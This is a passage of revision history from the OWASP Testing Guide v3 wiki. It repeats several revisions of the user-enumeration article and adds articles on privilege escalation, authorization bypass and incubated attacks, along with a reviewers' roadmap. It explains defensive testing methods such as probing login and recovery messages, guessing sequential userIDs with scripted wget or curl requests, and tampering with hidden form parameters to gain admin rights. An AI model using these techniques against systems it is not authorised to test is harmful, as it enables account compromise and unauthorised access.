Sometimes the username are created with a REALM alias and then a sequential numbers: 
R1001 – user 001 for REALM1 
R2001 – user 001 for REALM2 
 
Other possibilities are userIDs associated with credit card numbers, or in general a numbers with a pattern.
In the above sample we can create simple shell scripts that compose UserIDs and submit a request with tool like wget to automate a web query to discern valid userIDs.
To create a script we can use also Perl and CURL.

Again, we can guess a username from the information received from an LDAP query or from a google information gathering for example from a specific domain.
Google for example can help to find domain users through a specific queries or through a simple shell script or tool.

For other information on guessing for userIDs see next paragraph 4.5.3 Testing for Guessable (Dictionary) User Account.
 
'''Attention:''' by enumerating user accounts, you risk to lock out accounts after a predefined number of failed probes (based on application policy). Also, sometimes, our IP address can be banned by dynamic rules on the application firewall.

== Gray Box testing and example ==
'''Testing for Authentication error messages''' 
Verify that the application answers in the same manner for every client request that produces a failed authentication. For this issue the Black Box testing and Gray Box testing have the same concept based on the analysis of messages or error codes received from web application. 
'''Result Expected:''' 
The application should answer in the same manner for every failed attempt of authentication. 
For Example: 
Credentials submitted are not valid
 

== References ==
'''Whitepapers''' 
... 
'''Tools''' 
* WebScarab: [[OWASP_WebScarab_Project]]
* CURL: http://curl.haxx.se/
* PERL: http://www.perl.org

Testing for User Enumeration and Guessable User Account (OWASP-AT-002)

2008-09-07T13:51:33Z

Namn: /* Black Box testing and example */

{{Template:OWASP Testing Guide v3}}

== Brief Summary ==
The scope of this test is to verify if it is possible to collect a set of valid usernames by interacting with the authentication mechanism of the application. This test will be useful for the brute force testing, in which we verify if, given a valid username, it is possible to find the corresponding password.
Often, web applications reveal when a username exists on system, either as a consequence of a misconfiguration or as a design decision. For example, sometimes, when we submit wrong credentials, we receive a message that states that either the username is present on the system or the provided password is wrong.
The information obtained can be used by an attacker to gain a list of users on system. This information can be used to attack the web application, for example, through a brute force or default username/password attack.
 

== Description of the Issue ==
The tester should interact with the authentication mechanism of the application to understand if sending particular requests causes the application to answer in different manners. This issue exists because the information released from web application or web server, when we provide a valid username is different than when we use an invalid one.

In some cases, we can receive a message that reveals if the provided credentials are wrong because an invalid username or an invalid password was used. Sometimes, we can enumerate the existing users by sending a username and an empty password.
 

== Black Box testing and example ==
In a black box testing, we know nothing about the specific application, username, application logic and error messages on login page, or password recovery facilities.
If the applications is vulnerable, we receive a response message that reveals, directly or indirectly, some information useful for enumerating users.
 
 
'''HTTP Response message'''
 
'''Testing for Valid user/right password'''
 
Record the server answer when you submit a valid userID and valid password.
 

'''Result Expected:''' 
Using WebScarab, notice the information retrieved from this successful authentication (HTTP 200 Response, length of the response).
 

'''Testing for valid user/wrong password''' 
Now, the tester should try to insert a valid userID and a wrong password and record the error message generated by the application.
 

'''Result Expected:''' 
From the browser we will expect message similar to the following one: 
[[Image:AuthenticationFailed.png]] 

or something like: 
[[Image:NoConfFound.jpg]] 

against any message that reveals the existence of user, for instance, message similar to: 
Login for User foo: invalid password
 

Using WebScarab, notice the information retrieved from this unsuccessful authentication attempt (HTTP 200 Response, length of the response).
 
'''Testing for a nonexistent username''' 
Now, the tester should try to insert an invalid userID and a wrong password and record the server answer (you should be confident that the username is not valid in the application). Record the error message and the server answer.

'''Result Expected:''' 
If we enter a nonexistent userID, we can receive a message similar to: 
[[Image:Userisnotactive.png]] 
or message like the following one: 
Login failed for User foo: invalid Account
 

Generally the application should respond with the same error message and length to the different wrong requests. If you notice that the responses are not the same, you should investigate and find out the key that creates a difference between the 2 responses. For example:
* Client request: Valid user/wrong password --> Server answer:'The password is not correct'
* Client request: Wrong user/wrong password --> Server answer:'User not recognized'
The above responses let the client understand that for the first request we have a valid user name. So we can interact with the application requesting a set of possible userIDs and observing the answer. 
Looking at the second server response, we understand in the same way that we don't hold a valid username. So we can interact in the same manner and create a list of valid userID looking at the server answers.
 
'''Other ways to enumerate users''' 
We can enumerate users in several ways, such as: 
'''- Analyzing the error code received on login pages''' 
Some web application release a specific error code or message that we can analyze. 

'''- Analyzing URLs, and URLs redirections''' 
For example: 
http://www.foo.com/err.jsp?User=baduser&Error=0 
http://www.foo.com/err.jsp?User=gooduser&Error=2
 
As we can see above, when we provide a userID and password to the web application, we see a message indication that an error has occurred in the URL.
In the first case we has provided a bad userID and bad password. In the second, a good user and bad password, so we can identify a valid userID.
 
 

'''- URI Probing''' 
Sometimes a web server responds differently if it receives a request for an existing directories or not. For instance in some portals every user is associated with a directory, if we try to access an existing directory we could receive a web server error.
A very common errors that we can receive from web server is: 
403 Forbidden error code
and 
404 Not found error code
 
Example 
http://www.foo.com/account1 - we receive from web server: 403 Forbidden
http://www.foo.com/account2 - we receive from web server: 404 file Not Found
 
In first case the user exists, but we cannot view the web page, in second case instead the user “account2” doesn’t exist.
Collecting this information we can enumerate the users.
 

'''- Analyzing Web page Title''' 
We can receive useful information on Title of web page, where we can obtain a specific error code or messages that reveal if the problems are on username or password.
For instance, if we cannot authenticate to an application and receive a web page whose title is similar to:
Invalid user
Invalid authentication

 
 
'''- Analyzing message received from recovery facilities''' 
When we use a recovery facilities the applications that is vulnerable could return a message that reveala if a username exists or not.

For example, message similar to the following: 
Invalid username: e-mail address are not valid or The specified user was not found

Valid username: Your recovery password has been successfully sent
 

'''- Friendly 404 Error Message''' 
When we request for a user within the directory that does not exist, we don't always receive 404 error code. Instead, we may receive “200 ok” with an image, in this case we can assume that when we receive the specific image the users doesn’t exist. This logic can be applied to other web server response; the trick is a good analysis of web server and web application messages.
 
 
'''Guessing Users''' 
In some cases the userIDs are created with specific policies of administrator or company.
For example we can view a users with a userID created in sequential order: 
CN000100 
CN000101 
…. 
Sometimes the username are created with a REALM alias and then a sequential numbers: 
R1001 – user 001 for REALM1 
R2001 – user 001 for REALM2 
 
Other possibilities are userIDs associated with credit card numbers, or in general a numbers with a pattern.
In the above sample we can create simple shell scripts that compose UserIDs and submit a request with tool like wget to automate a web query to discern valid userIDs.
To create a script we can use also Perl and CURL.

Again, we can guess a username from the information received from an LDAP query or from a google information gathering for example from a specific domain.
Google for example can help to find domain users through a specific queries or through a simple shell script or tool.

For other information on guessing for userIDs see next paragraph 4.5.3 Testing for Guessable (Dictionary) User Account.
 
'''Attention:''' by enumerating user accounts, you risk to lock out accounts after a predefined number of failed probes (based on application policy). Also, sometimes, our IP address can be banned by dynamic rules on the application firewall.

== Gray Box testing and example ==
'''Testing for Authentication error messages''' 
Verify that the application answers in the same manner for every client request that produces a failed authentication. For this issue the Black Box testing and Gray Box testing are the same concept based on the analysis of messages or error codes received from web application. 
'''Result Expected:''' 
The application should answer in the same manner for every failed attempt of authentication. 
For Example: 
Credentials submitted are not valid
 

== References ==
'''Whitepapers''' 
... 
'''Tools''' 
* WebScarab: [[OWASP_WebScarab_Project]]
* CURL: http://curl.haxx.se/
* PERL: http://www.perl.org

Testing for User Enumeration and Guessable User Account (OWASP-AT-002)

2008-09-07T13:32:14Z

Namn: /* Description of the Issue */

{{Template:OWASP Testing Guide v3}}

== Brief Summary ==
The scope of this test is to verify if it is possible to collect a set of valid usernames by interacting with the authentication mechanism of the application. This test will be useful for the brute force testing, in which we verify if, given a valid username, it is possible to find the corresponding password.
Often, web applications reveal when a username exists on system, either as a consequence of a misconfiguration or as a design decision. For example, sometimes, when we submit wrong credentials, we receive a message that states that either the username is present on the system or the provided password is wrong.
The information obtained can be used by an attacker to gain a list of users on system. This information can be used to attack the web application, for example, through a brute force or default username/password attack.
 

== Description of the Issue ==
The tester should interact with the authentication mechanism of the application to understand if sending particular requests causes the application to answer in different manners. This issue exists because the information released from web application or web server, when we provide a valid username is different than when we use an invalid one.

In some cases, we can receive a message that reveals if the provided credentials are wrong because an invalid username or an invalid password was used. Sometimes, we can enumerate the existing users by sending a username and an empty password.
 

== Black Box testing and example ==
In a black box testing, we know nothing about the specific application, username, application logic and error messages on login page, or password recovery facilities.
If the applications is vulnerable, we receive a response message that reveals, directly or indirectly, some information useful for enumerating users.
 
 
'''HTTP Response message'''
 
'''Testing for Valid user/right password'''
 
Record the server answer when you submit a valid userID and valid password.
 

'''Result Expected:''' 
Using WebScarab, notice the information retrieved from this successful authentication (HTTP 200 Response, length of the response).
 

'''Testing for valid user/wrong password''' 
Now, the tester should try to insert a valid userID and a wrong password and record the error message generated by the application.
 

'''Result Expected:''' 
From the browser we will expect message similar to the following one: 
[[Image:AuthenticationFailed.png]] 

or something like: 
[[Image:NoConfFound.jpg]] 

again any message that reveal the existence of user, for istance message similar to: 
Login for User foo: invalid password
 

Using WebScarab, notice the information retrieved from this unsuccessful authentication attempt (HTTP 200 Response, length of the response).
 
 
'''Testing for a nonexistent username''' 
Now, the tester should try to insert an invalid userID and a wrong password and record the server answer (you should be confident that the username is not valid in the application). Record the error message and the server answer.

'''Result Expected:''' 
If we enter a nonexistent userID, we can receive a message similar to: 
[[Image:Userisnotactive.png]] 
or message like the following one: 
Login failed for User foo: invalid Account
 

Generally the application should respond with the same error message and length to the different wrong requests. If you notice that the responses are not the same, you should investigate and find out the key that creates a difference between the 2 requests. For example:
* Client request: Valid user/wrong password --> Server answer:'The password is not correct'
* Client request: Wrong user/wrong password --> Server answer:'User not recognized'
The above responses let the client understand that for the first request we have a valid user name. So we can interact with the application requesting a set of possible userIDs and observing the answer. 
Looking at the second server response, we understand in the same way that we don't hold a valid username. So we can interact in the same manner and create a list of valid userID looking at the server answers.
 
 
'''Other way to enumerate users''' 
We can enumerate users in other several ways, such as: 
'''- Analyzing the error code received on login pages''' 
Some web application release a specific error code or message that we can analyze. 

'''- Analyzing URLs, and URLs redirections''' 
For example: 
http://www.foo.com/err.jsp?User=baduser&Error=0 
http://www.foo.com/err.jsp?User=gooduser&Error=2
 
As we can see above, when we provides a userID and password to web application, we see a message indication that an error has occurred in the URL.
In first case we has provides a bad userID and bad password, in second case instead a good user and bad password, so we can identify a valid userID.
 
 

'''- URI Probing''' 
Sometime a web server responds differently if receive a request for an existing directories or not. For instance in some portals every users is associated with a directory, if we try to access to an exists directory we could be receive a web server error.
A very common errors that we can receive from web server is: 
403 Forbidden error code
and 
404 Not found error code
 
Example 
http://www.foo.com/account1 - we receive from web server: 403 Forbidden
http://www.foo.com/account2 - we receive from web server: 404 file Not Found
 
In first case the user exist, but we cannot view the web page, in second case instead the user “account2” doesn’t exist.
Collecting this information we can enumerate the users.
 

'''- Analyzing Web page Title''' 
We can receive useful information on Title of web page, where we can obtain a specific error code or messages that reveal if the problems are on username or password.
For instance is common change a web title if we cannot authenticate to an application and receive a very clearly message similar to:
Invalid user
Invalid authentication

 
 
'''- Analyzing message received from recovery facilities''' 
When we use a recovery facilities the applications that is vulnerable could be return a message that reveal if a username exist or not.

For example, message similar to the following: 
Invalid username: e-mail address are not valid or The specified user was not found

Valid username: Your recovery password has been successfully sent
 

'''-Friendly 404 Error Message''' 
Not always when we made a request for a user within the directory that is sure to not exist we receive 404 error code, we receive instead “200 ok” with an image, in this case we can assume that when we receive the specific image the users doesn’t exist. This logic can be applied to other web server response; the trick is a good analysis of web server and web application messages.
 
 
'''Guessing Users''' 
In some case the userIDs are created with specific policies of administrator or company.
For example we can view a users with a userID created in sequential order: 
CN000100 
CN000101 
…. 
Sometimes the username are created with a REALM alias and then a sequential numbers: 
R1001 – user 001 for REALM1 
R2001 – user 001 for REALM2 
 
Other possibilities are userIDs associated with credit card numbers, or in general a numbers with a pattern.
In the above sample we can create simple shell scripts that compose a UserIDs and submit a request with tool like wget to automate a web query to discern valid userIDs.
To create a script we can use also Perl and CURL

Again, we can guess a users from the information received from an LDAP query or from a google information gathering for example from a specific domain.
Google for example can helps to find domain users through a specific queries or through a simple shell scripts or tools.

For other information about guessing userIDs see next paragraph 4.5.3 Testing for Guessable (Dictionary) User Account.
 
'''Attention:''' by enumerating user accounts, you risk to lock out accounts after a predefined number of failed probes (based on application policy). Also, sometimes, our IP address can be banned by dynamic rules on the application firewall.

== Gray Box testing and example ==
'''Testing for Authentication error messages''' 
Verify that the application answers in the same manner for every client request that produces a failed authentication. For this issue the Black Box testing and Gray Box testing are the same concept based on the analysis of messages or error codes received from web application. 
'''Result Expected:''' 
The application should answer in the same manner for every failed attempt of authentication. 
For Example: 
Credentials submitted are not valid
 

== References ==
'''Whitepapers''' 
... 
'''Tools''' 
* WebScarab: [[OWASP_WebScarab_Project]]
* CURL: http://curl.haxx.se/
* PERL: http://www.perl.org

Testing for User Enumeration and Guessable User Account (OWASP-AT-002)

2008-09-07T13:30:35Z

Namn: /* Brief Summary */

{{Template:OWASP Testing Guide v3}}

== Brief Summary ==
The scope of this test is to verify if it is possible to collect a set of valid usernames by interacting with the authentication mechanism of the application. This test will be useful for the brute force testing, in which we verify if, given a valid username, it is possible to find the corresponding password.
Often, web applications reveal when a username exists on system, either as a consequence of a misconfiguration or as a design decision. For example, sometimes, when we submit wrong credentials, we receive a message that states that either the username is present on the system or the provided password is wrong.
The information obtained can be used by an attacker to gain a list of users on system. This information can be used to attack the web application, for example, through a brute force or default username/password attack.
 

== Description of the Issue ==
The tester should interact with the authentication mechanism of the application to understand if sending particular requests causes the application to answer in different manners. This issue can be exists because the information released from web application or web server, when we provide a valid username is different than we use an invalid usename.

In some cases, we can receive a message that reveals if the provided credentials are wrong because an invalid username or an invalid password was used. Sometimes, we can enumerate the existing users by sending a username and an empty password.
 

== Black Box testing and example ==
In a black box testing, we know nothing about the specific application, username, application logic and error messages on login page, or password recovery facilities.
If the applications is vulnerable, we receive a response message that reveals, directly or indirectly, some information useful for enumerating users.
 
 
'''HTTP Response message'''
 
'''Testing for Valid user/right password'''
 
Record the server answer when you submit a valid userID and valid password.
 

'''Result Expected:''' 
Using WebScarab, notice the information retrieved from this successful authentication (HTTP 200 Response, length of the response).
 

'''Testing for valid user/wrong password''' 
Now, the tester should try to insert a valid userID and a wrong password and record the error message generated by the application.
 

'''Result Expected:''' 
From the browser we will expect message similar to the following one: 
[[Image:AuthenticationFailed.png]] 

or something like: 
[[Image:NoConfFound.jpg]] 

again any message that reveal the existence of user, for istance message similar to: 
Login for User foo: invalid password
 

Using WebScarab, notice the information retrieved from this unsuccessful authentication attempt (HTTP 200 Response, length of the response).
 
 
'''Testing for a nonexistent username''' 
Now, the tester should try to insert an invalid userID and a wrong password and record the server answer (you should be confident that the username is not valid in the application). Record the error message and the server answer.

'''Result Expected:''' 
If we enter a nonexistent userID, we can receive a message similar to: 
[[Image:Userisnotactive.png]] 
or message like the following one: 
Login failed for User foo: invalid Account
 

Generally the application should respond with the same error message and length to the different wrong requests. If you notice that the responses are not the same, you should investigate and find out the key that creates a difference between the 2 requests. For example:
* Client request: Valid user/wrong password --> Server answer:'The password is not correct'
* Client request: Wrong user/wrong password --> Server answer:'User not recognized'
The above responses let the client understand that for the first request we have a valid user name. So we can interact with the application requesting a set of possible userIDs and observing the answer. 
Looking at the second server response, we understand in the same way that we don't hold a valid username. So we can interact in the same manner and create a list of valid userID looking at the server answers.
 
 
'''Other way to enumerate users''' 
We can enumerate users in other several ways, such as: 
'''- Analyzing the error code received on login pages''' 
Some web application release a specific error code or message that we can analyze. 

'''- Analyzing URLs, and URLs redirections''' 
For example: 
http://www.foo.com/err.jsp?User=baduser&Error=0 
http://www.foo.com/err.jsp?User=gooduser&Error=2
 
As we can see above, when we provides a userID and password to web application, we see a message indication that an error has occurred in the URL.
In first case we has provides a bad userID and bad password, in second case instead a good user and bad password, so we can identify a valid userID.
 
 

'''- URI Probing''' 
Sometime a web server responds differently if receive a request for an existing directories or not. For instance in some portals every users is associated with a directory, if we try to access to an exists directory we could be receive a web server error.
A very common errors that we can receive from web server is: 
403 Forbidden error code
and 
404 Not found error code
 
Example 
http://www.foo.com/account1 - we receive from web server: 403 Forbidden
http://www.foo.com/account2 - we receive from web server: 404 file Not Found
 
In first case the user exist, but we cannot view the web page, in second case instead the user “account2” doesn’t exist.
Collecting this information we can enumerate the users.
 

'''- Analyzing Web page Title''' 
We can receive useful information on Title of web page, where we can obtain a specific error code or messages that reveal if the problems are on username or password.
For instance is common change a web title if we cannot authenticate to an application and receive a very clearly message similar to:
Invalid user
Invalid authentication

 
 
'''- Analyzing message received from recovery facilities''' 
When we use a recovery facilities the applications that is vulnerable could be return a message that reveal if a username exist or not.

For example, message similar to the following: 
Invalid username: e-mail address are not valid or The specified user was not found

Valid username: Your recovery password has been successfully sent
 

'''-Friendly 404 Error Message''' 
Not always when we made a request for a user within the directory that is sure to not exist we receive 404 error code, we receive instead “200 ok” with an image, in this case we can assume that when we receive the specific image the users doesn’t exist. This logic can be applied to other web server response; the trick is a good analysis of web server and web application messages.
 
 
'''Guessing Users''' 
In some case the userIDs are created with specific policies of administrator or company.
For example we can view a users with a userID created in sequential order: 
CN000100 
CN000101 
…. 
Sometimes the username are created with a REALM alias and then a sequential numbers: 
R1001 – user 001 for REALM1 
R2001 – user 001 for REALM2 
 
Other possibilities are userIDs associated with credit card numbers, or in general a numbers with a pattern.
In the above sample we can create simple shell scripts that compose a UserIDs and submit a request with tool like wget to automate a web query to discern valid userIDs.
To create a script we can use also Perl and CURL

Again, we can guess a users from the information received from an LDAP query or from a google information gathering for example from a specific domain.
Google for example can helps to find domain users through a specific queries or through a simple shell scripts or tools.

For other information about guessing userIDs see next paragraph 4.5.3 Testing for Guessable (Dictionary) User Account.
 
'''Attention:''' by enumerating user accounts, you risk to lock out accounts after a predefined number of failed probes (based on application policy). Also, sometimes, our IP address can be banned by dynamic rules on the application firewall.

== Gray Box testing and example ==
'''Testing for Authentication error messages''' 
Verify that the application answers in the same manner for every client request that produces a failed authentication. For this issue the Black Box testing and Gray Box testing are the same concept based on the analysis of messages or error codes received from web application. 
'''Result Expected:''' 
The application should answer in the same manner for every failed attempt of authentication. 
For Example: 
Credentials submitted are not valid
 

== References ==
'''Whitepapers''' 
... 
'''Tools''' 
* WebScarab: [[OWASP_WebScarab_Project]]
* CURL: http://curl.haxx.se/
* PERL: http://www.perl.org

Testing for Privilege escalation (OTG-AUTHZ-003)

2008-09-07T10:36:43Z

Namn: /* References */

{{Template:OWASP Testing Guide v3}}

== Brief Summary ==
 
This section describes the issue of escalating privileges from one stage to another. During this phase, the tester should verify that it is not possible for a user to modify his or her privileges/roles inside the application in ways that could allow privilege escalation attacks.
 

== Description of the Issue ==
 
Privilege escalation occurs when a user gets access to more resources or functionality than they are normally allowed and such elevation/changes should have been prevented by the application. This is usually caused by a flaw in the application. The result is that the application performs actions with more privileges than those intended by the developer or system administrator.

The degree of escalation depends on which privileges the attacker is authorized to possess and which privileges can be obtained in a successful exploit. For example, a programming error that allows a user to gain extra privilege after successful authentication limits the degree of escalation because the user is already authorized to hold some privilege. Likewise, a remote attacker gaining superuser privilege without any authentication presents a greater degree of escalation.

Usually, we refer to ''vertical escalation'' when it is possible to access resources granted to more privileged accounts (e.g., acquiring administrative privileges for the application), and to ''horizontal escalation'' when it is possible to access resources granted to a similarly configured account (e.g., in an online banking application, accessing information related to a different user).

 

== Black Box testing and example ==
'''Testing for role/privilege manipulation''' 
In every portion of the application where a user can create information in the database (e.g., making a payment, adding a contact, or sending a message), to receive information (statement of account, order details, etc.), or delete information (drop users, messages, etc.), it is necessary to record that functionality. The tester should try to access such function as another user in order to verify, for example, if it is possible to access a function that should not be permitted by the user's role/privilege (but might be permitted as another user).

For example: 
The following HTTP POST allows the user that belongs to grp001 to access order #0001:
<pre>
POST /user/viewOrder.jsp HTTP/1.1
Host: www.example.com
...

gruppoID=grp001&ordineID=0001
</pre>
Verify if a user that does not belong to grp001 can modify the value of the parameters ‘gruppoID’ and ‘ordineID’ to gain access to that privileged data.

For example: 
The following server's answer shows a hidden field in the HTML returned to the user after a successful authentication.

HTTP/1.1 200 OK
Server: Netscape-Enterprise/6.0
Date: Wed, 1 Apr 2006 13:51:20 GMT
Set-Cookie: USER=aW78ryrGrTWs4MnOd32Fs51yDqp; path=/; domain=www.example.com
Set-Cookie: SESSION=k+KmKeHXTgDi1J5fT7Zz; path=/; domain= www.example.com
Cache-Control: no-cache
Pragma: No-cache
Content-length: 247
Content-Type: text/html
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Connection: close

<form name=“autoriz" method="POST" action = “visual.jsp">
<input type="hidden" name="profilo" value="SistemiInf1">
<body onload="document.forms.autoriz.submit()">
</td>
</tr>

What if the tester modifies the value of the variable "profilo" to “SistemiInf9”? Is it possible to become administrator?

For example: 
In an environment in which the server sends an error message contained as value in a specific parameter in a set of answer's codes, as the following:

@0`1`3`3``0`UC`1`Status`OK`SEC`5`1`0`ResultSet`0`PVValido`-1`0`0` Notifications`0`0`3`Command Manager`0`0`0` StateToolsBar`0`0`0`
StateExecToolBar`0`0`0`FlagsToolBar`0

The server gives an implicit trust to the user. It believes that the user will answer with the above message closing the session.
In this condition, verify that it is not possible to escalate privileges, by modifying the parameter values.
In this particular example, by modifying the `PVValido` value from '-1' to '0' (no error conditions), it may be possible to authenticate as administrator to the server.

 
'''Result Expected:''' 
The tester should verify the execution of successful privilege escalation attempts. 
 

== References ==
'''Whitepapers''' 
* Wikipedia: http://en.wikipedia.org/wiki/Privilege_escalation 
'''Tools''' 
* OWASP WebScarab: [[OWASP_WebScarab_Project]]

OWASP Testing Project v3 Review Roadmap

2008-09-07T10:36:17Z

Namn:

'''This page track all the update to the Testing Guide v3 during the Reviewing phase.''' 

In particular the focus is: 
- Review the content of each article 
- Review the english sintax 
- no "attacker", better "tester" 
- no "we describe", but "it is described" 

Official Testing Guide Reviewers are:
* Nam Nguyen
* Kevin R.Fuller
* if you want to review it add your name please and keep track of updating

'''Nam Review:'''
----
Aug 31, 2008
* Appendix D
* Appendix C
* Appendix B
* Appendix A
* Chapter 5
** [[How to write the report of the testing]]
*** ``TO UPDATE WITH V3 controls`` is still in the article. Has it been updated to v3? '''(Mat: I'm updating it, thanks)'''
* Chapter 4
** Section 4.11 [[Testing for AJAX Vulnerabilities]]
*** There are mentioning of "attackers" but I think they are fine.
*** The subsection on Memory leaks is not complete.
** Section 4.11 [[Testing for AJAX]]
*** The subsection "Intercepting and Debugging JS code with Browsers" is very difficult to understand. I tried to fix it, but I'm afraid what I have might not reflect what the original author wanted to express.

Sep 02, 2008
* Chapter 4
** Section 4.10
*** Subsection [[Testing for WS Replay]] Gray box testing and examples gives incomplete sample code. I believe the call to GetSessionIDMac() missed four parameters. In this same part, using SSL helps in preventing replay attack but it doesnt prevent replay attack by itself. In this same subection, the images show identifiable real Internet address in Hungary, should them be masked off?

Sep 04, 2008
* Chapter 4
** Section 4.9
** Section 4.8
*** I'm not sure if format string could be classified under subsection 4.8.14 "Buffer overflow testing".
*** Subsecion 4.8.3: Incomplete
*** Subsection 4.8.4: Incomplete
*** Subsection 4.8.5: What is "data-plane input"?

Sep 06, 2008
* Chapter 4
** Section 4.8

Sep 07, 2008
* Chapter 4
** Section 4.7
** Section 4.6
*** Subsection 4.6.1: "Review code for path traversal" does not exist in the Code Review Guide, or the link the broken.

'''Kevin Review:'''
----
Date 
articles reviewed 
Date 
articles reviewed 
Questions: (Mat will answer it)

Testing for Privilege escalation (OTG-AUTHZ-003)

2008-09-07T10:36:10Z

Namn: /* Black Box testing and example */

Testing for Bypassing Authorization Schema (OTG-AUTHZ-002)

2008-09-07T10:24:02Z

Namn: /* Black Box testing and example */

{{Template:OWASP Testing Guide v3}}

== Brief Summary ==
 
This kind of test focuses on verifying how the authorization schema has been implemented for each role/privilege to get access to reserved functions/resources.
 

== Description of the Issue ==
 
For every specific role the tester holds during the assessment, for every function and request that the application executes during the post-authentication phase, it is necessary to verify:
* Is it possible to access that resource even if the user is not authenticated?
* Is it possible to access that resource after the log-out?
* Is it possible to access functions and resources that should be accessible to a user that holds a different role/privilege?
* Try to access the application as an administrative user and track all the administrative functions. Is it possible to access administrative functions also if the tester is logged as a user with standard privileges?
* Is it possible to use these functionalities for a user with a different role and for whom that action should be denied?
 

== Black Box testing and example ==
'''Testing for Admin functionalities''' 
For example, suppose that the 'AddUser.jsp' function is part of the administrative menu of the application, and it is possible to access it by requesting the following URL:
* https://www.example.com/admin/addUser.jsp

Then, the following HTTP request is generated when calling the AddUser function:

POST /admin/addUser.jsp HTTP/1.1
Host: www.example.com
[other HTTP headers]

userID=fakeuser&role=3&group=grp001

What happens if a non-administrative user tries to execute that request? Will the user be created? If so, can the new user use her privileges?

'''Testing for access to resources assigned to a different role''' 
Analyze, for example, an application that uses a shared directory to store temporary PDF files for different users. Suppose that documentABC.pdf should be accessible only by the user test1 with roleA. Verify if user test2 with roleB can access that resource.

'''Result Expected:''' 
Try to execute administrative functions or access administrative resources as a standard user.
 

== References ==
'''Tools''' 
* OWASP WebScarab: [[OWASP_WebScarab_Project]]

OWASP Testing Project v3 Review Roadmap

2008-09-07T09:56:25Z

Namn:

'''This page track all the update to the Testing Guide v3 during the Reviewing phase.''' 

In particular the focus is: 
- Review the content of each article 
- Review the english sintax 
- no "attacker", better "tester" 
- no "we describe", but "it is described" 

Official Testing Guide Reviewers are:
* Nam Nguyen
* Kevin R.Fuller
* if you want to review it add your name please and keep track of updating

'''Nam Review:'''
----
Aug 31, 2008
* Appendix D
* Appendix C
* Appendix B
* Appendix A
* Chapter 5
** [[How to write the report of the testing]]
*** ``TO UPDATE WITH V3 controls`` is still in the article. Has it been updated to v3? '''(Mat: I'm updating it, thanks)'''
* Chapter 4
** Section 4.11 [[Testing for AJAX Vulnerabilities]]
*** There are mentioning of "attackers" but I think they are fine.
*** The subsection on Memory leaks is not complete.
** Section 4.11 [[Testing for AJAX]]
*** The subsection "Intercepting and Debugging JS code with Browsers" is very difficult to understand. I tried to fix it, but I'm afraid what I have might not reflect what the original author wanted to express.

Sep 02, 2008
* Chapter 4
** Section 4.10
*** Subsection [[Testing for WS Replay]] Gray box testing and examples gives incomplete sample code. I believe the call to GetSessionIDMac() missed four parameters. In this same part, using SSL helps in preventing replay attack but it doesnt prevent replay attack by itself. In this same subection, the images show identifiable real Internet address in Hungary, should them be masked off?

Sep 04, 2008
* Chapter 4
** Section 4.9
** Section 4.8
*** I'm not sure if format string could be classified under subsection 4.8.14 "Buffer overflow testing".
*** Subsecion 4.8.3: Incomplete
*** Subsection 4.8.4: Incomplete
*** Subsection 4.8.5: What is "data-plane input"?

Sep 06, 2008
* Chapter 4
** Section 4.8

Sep 07, 2008
** Section 4.7

'''Kevin Review:'''
----
Date 
articles reviewed 
Date 
articles reviewed 
Questions: (Mat will answer it)

OWASP Testing Project v3 Review Roadmap

2008-09-07T08:21:13Z

Namn:

'''This page track all the update to the Testing Guide v3 during the Reviewing phase.''' 

In particular the focus is: 
- Review the content of each article 
- Review the english sintax 
- no "attacker", better "tester" 
- no "we describe", but "it is described" 

Official Testing Guide Reviewers are:
* Nam Nguyen
* Kevin R.Fuller
* if you want to review it add your name please and keep track of updating

'''Nam Review:'''
----
Aug 31, 2008
* Appendix D
* Appendix C
* Appendix B
* Appendix A
* Chapter 5
** [[How to write the report of the testing]]
*** ``TO UPDATE WITH V3 controls`` is still in the article. Has it been updated to v3? '''(Mat: I'm updating it, thanks)'''
* Chapter 4
** Section 4.11 [[Testing for AJAX Vulnerabilities]]
*** There are mentioning of "attackers" but I think they are fine.
*** The subsection on Memory leaks is not complete.
** Section 4.11 [[Testing for AJAX]]
*** The subsection "Intercepting and Debugging JS code with Browsers" is very difficult to understand. I tried to fix it, but I'm afraid what I have might not reflect what the original author wanted to express.

Sep 02, 2008
* Chapter 4
** Section 4.10
*** Subsection [[Testing for WS Replay]] Gray box testing and examples gives incomplete sample code. I believe the call to GetSessionIDMac() missed four parameters. In this same part, using SSL helps in preventing replay attack but it doesnt prevent replay attack by itself. In this same subection, the images show identifiable real Internet address in Hungary, should them be masked off?

Sep 04, 2008
* Chapter 4
** Section 4.9
** Section 4.8
*** I'm not sure if format string could be classified under subsection 4.8.14 "Buffer overflow testing".
*** Subsecion 4.8.3: Incomplete
*** Subsection 4.8.4: Incomplete
*** Subsection 4.8.5: What is "data-plane input"?

Sep 06, 2008
* Chapter 4
** Section 4.8

'''Kevin Review:'''
----
Date 
articles reviewed 
Date 
articles reviewed 
Questions: (Mat will answer it)

Testing for Incubated Vulnerability (OTG-INPVAL-015)

2008-09-07T08:00:40Z

Namn: /* Brief Summary */

{{Template:OWASP Testing Guide v3}}

== Brief Summary ==
Also often refered to as persistent attacks, incubated testing is a complex testing method that needs more than one data validation vulnerability to work. This section describes a set of examples to test an Incubated Vulnerability.

* The attack vector needs to be persisted in the first place, it needs to be stored in the persistence layer, and this would only occur if weak data validation was present or the data arrived into the system via another channel such as an admin console or directly via a backend batch process.
* Secondly, once the attack vector was "recalled" the vector would need to be executed successfully. For example an incubated XSS attack would require weak output validation so the script would be delivered to the client in its executable form.

== Short Description of the Issue ==

Exploitation of some vulnerabilities, or even functional features of a web application, will allow an attacker to plant a piece of data that will later be retrieved by an unsuspected user or other component of the system, exploiting some vulnerability there.

In a penetration test, '''incubated attacks''' can be used to assess the criticality of certain bugs, using the particular security issue found to build a client-side based attack that usually will be used to target a large number of victims at the same time (i.e. all users browsing the site).

This type of asynchronous attack covers a great spectrum of attack vectors, among them the following:

* File upload components in a web application, allowing the attacker to upload corrupted media files (jpg images exploiting CVE-2004-0200, png images exploiting CVE-2004-0597, executable files, site pages with active component, etc)

* Cross-site scripting issues in public forums posts (see [[Cross_site_scripting_AoC|Testing for Cross-site scripting]] for additional details). An attacker could potentially store malicious scripts or code in a repository in the backend of the web-application (e.g., a database) so that this script/code gets executed by one of the users (end users, administrators, etc). The archetypical incubated attack is exemplified by using a cross-site scripting vulnerability in a user forum, bulletin board or blog in order to inject some javascript code at the vulnerable page, and will be eventually rendered and executed at the site user's browser --using the trust level of the original (vulnerable) site at the user's browser.

